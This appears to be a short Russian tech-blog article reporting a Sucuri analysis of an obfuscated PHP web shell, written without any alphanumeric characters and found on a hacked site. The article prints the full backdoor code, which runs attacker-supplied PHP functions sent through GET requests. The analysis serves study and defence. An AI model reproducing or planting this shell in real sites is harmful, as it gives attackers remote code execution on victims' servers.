Pull to refresh

PHP-шелл без единого буквенно-цифрового символа

Reading time 1 min
Views 89K
Вчера в блоге компании Sucuri появился любопытный вопрос: некий владелец сайта, обнаружив его взломанным, был немало удивлён, обнаружив следующий злонамеренный код; что именно он делает?
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$ 
$_[$__+ $__] ;$_[@-_]($_[@!+_] );

Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.

Один из программистов Sucuri Йорман Ариас (Yorman Arias) расположил код в более удобочитаемом виде и облёк каждую строку кода в var_dump(), чтобы увидеть её вывод:

image

В итоге, используя туманные фразы вроде «some boolean magic » и анализируя код, приходит к выводу, что предназначение вредоноса — выполнение PHP-функций, который передаются ему при помощи GET-запроса.

Технические подробности — здесь.
Tags:
Hubs:
+91
Comments 33
Comments Comments 33

Articles